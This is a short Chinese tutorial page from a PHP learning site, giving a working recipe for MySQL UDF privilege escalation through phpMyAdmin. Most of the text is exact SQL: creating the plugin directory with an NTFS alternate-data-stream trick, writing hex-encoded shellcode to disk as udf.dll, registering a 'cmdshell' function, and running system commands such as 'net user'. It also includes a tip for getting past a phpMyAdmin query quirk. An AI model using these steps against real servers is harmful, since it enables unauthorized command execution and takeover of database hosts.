网站地图    收藏   

主页 > 后端 > 网站安全 >

PhpMyAdmin UDF 提权 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] [+]小菜文章,大牛飞过!!适用环境:PhpMyAdmin 3.x , MySQL5.1 , 无Shell , 无法爆绝对路径前提条件: 有MYSQL的ROOT权限思路:利用NTFS ADS创建 plugin目录 ---- 导出UDF过程:查询 select @@......

[+]小菜文章,大牛飞过!!
适用环境:PhpMyAdmin 3.x  ,  MySQL>5.1  ,  无Shell  ,  无法爆绝对路径
前提条件: 有MYSQL的ROOT权限
思路:利用NTFS ADS创建 plugin目录 ---- 导出UDF
 
过程:
查询 select @@basedir  (或者 select @@datadir)
得到MySQL目录 C:\MySql\
假如该目录不存在\lib\plugin目录,利用ADS创建
查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
此时会报错
ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)
但是lib目录已经创建了
再查询 
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
 
导出UDF.DLL
随便选一个库
查询 CREATE TABLE Temp_udf(udf BLOB);
查询 INSERT into Temp_udf values (CONVERT($shellcode,CHAR));   //$shellcode请用UDF用hex加密后的代码
查询 SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--
注意:在后面记得要加 -- 否者会出错,我在此处浪费无限时间(>4h)
原因可能是PhpMyAdmin查询时会自动在语句末尾加上Limit 语句,导致出错
 
提权
查询 Create function cmdshell returns string soname 'udf.dll';  //此处不能填绝对路径 只能是dll名
查询 select * from mysql.func;                  //看看cmdshell function是否创立,创立就继续
查询 select cmdshell('net user');               //运行各种命令提权 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论